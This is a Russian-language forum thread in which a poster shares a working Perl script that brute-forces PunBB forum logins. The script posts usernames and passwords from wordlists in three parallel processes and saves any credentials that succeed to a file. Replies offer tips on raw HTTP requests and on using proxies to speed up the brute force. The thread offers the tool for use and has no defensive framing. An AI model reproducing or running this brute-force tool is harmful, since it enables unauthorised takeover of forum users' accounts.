брут идет в три потока, буду рад вашим коментам, исправлениям, критике ######################################### PHP: #!/usr/bin/perluse LWP; unless($ARGV[0] && $ARGV[1] && $ARGV[2]){print("use punbb.pl http://site/forum/ userfile wordlist\n");exit;}; $url=$ARGV[0]; my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);$userfile=$ARGV[1]; $file=$ARGV[2]; my ($pid,$pid2); $|=1; if(($pid=fork()) && ($pid2=fork())){ brut(0,$userfile,$file,$url); } elsif($pid && defined($pid2)){ brut(1,$userfile,$file,$url); } elsif(defined($pid)){ brut(2,$userfile,$file,$url); } else{ die("error fork()\n"); } sub brut{ $str=shift; $userfile=shift; $file=shift; $url=shift; open(IN,"<$file") or die("can`t open wordlist\n"); my @arr=<IN>; close(IN); open(IN,"<$userfile"); my @ar=<IN>; close(IN); $q=$str*$#arr/3; $q1=($str+1)*$#arr/3; if($str==2){ splice(@arr,0,$q); } elsif($str==1){ splice(@arr,0,$q); splice(@arr,$q1,$#arr); } elsif($str==0){ splice(@arr,$q1,$#arr); } print "$str: wordlist loaded\n"; for(my $a=0 ; $a<=$#arr/3 ; $a++){for($u=0;$u<=$#ar;$u++){$user=$ar[$u];$user=~s/\n$//g; $pass=$arr[$a]; print $str.":".$pass; $pass=~ s/\n$//; $req = new HTTP::Request 'POST',$url.'login.php?action=in'; $data='form_sent=1&redirect_url='.$url.'index.php&req_username='.$user.'&req_password='.$pass.'&login=Login'; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); $res = $ua->request($req); $content=$res->content; if($content=~ m/Logged in successfully/gi){ print "######################\n"; print "USER :$user\n"; print "PASS :$pass\n"; print "######################\n"; open(OUT,">>out-punbb.txt"); print OUT $user.":".$pass."\n"; close(OUT); }}}}
Вообще неплохо. 1) LWP лучше не использовать, вручную строить HTTP запрос 2) Очень неэстетично. Потоки (ну точнее процессы, пофигу) нужны для брута через прокси, иначе скорость практически не возрастет. Однако перл ты знаешь хорошо... 3) перл бля этих делов не особо подходит, лучше просто писать для Unix на С, читай тему про мой брут для phpBB. 4) Смысл нулевой, как и от моего брута phpBB. Я невзлюбил phpBB а ты PunBB)) Ну что он тебе плохого сделал???)))))
Вобще-то, именно Lwpследует использовать. Т.к. правило хорошого тона. //отмазки типа "его может не быть" не пойдут, т.к. есть он в стандартной поставке. имхо он для этого идеален. Приведи довод в опровержение, а?
Вашу мать,с кем я общаюсь? )) Может вам обьяснить почему ненужно использовать Delphi? Давайте тогда сразу будем все делать в виде .BAT файлов! А ты на перле видал pthread_ ? Думаю что нет. А ты в курсе как сделан fork() ? А ты знаешь что перл не везде есть? А почему все что делается под линукс - делается ПРОСТО под gcc ?